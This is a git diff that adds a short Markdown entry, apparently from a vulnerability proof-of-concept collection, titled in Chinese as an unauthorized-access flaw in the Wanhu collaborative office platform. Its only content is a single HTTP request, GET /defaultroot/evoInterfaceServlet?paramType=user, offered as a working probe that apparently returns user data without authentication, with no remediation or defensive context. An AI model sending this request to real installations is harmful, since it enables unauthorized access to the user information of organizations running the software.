diff --git a/万户协同办公平台存在未授权访问漏洞.md b/万户协同办公平台存在未授权访问漏洞.md
new file mode 100644
index 0000000..32bb6fc
--- /dev/null
+++ b/万户协同办公平台存在未授权访问漏洞.md
@@ -0,0 +1,5 @@
+## 万户协同办公平台存在未授权访问漏洞
+```
+
+GET /defaultroot/evoInterfaceServlet?paramType=user
+```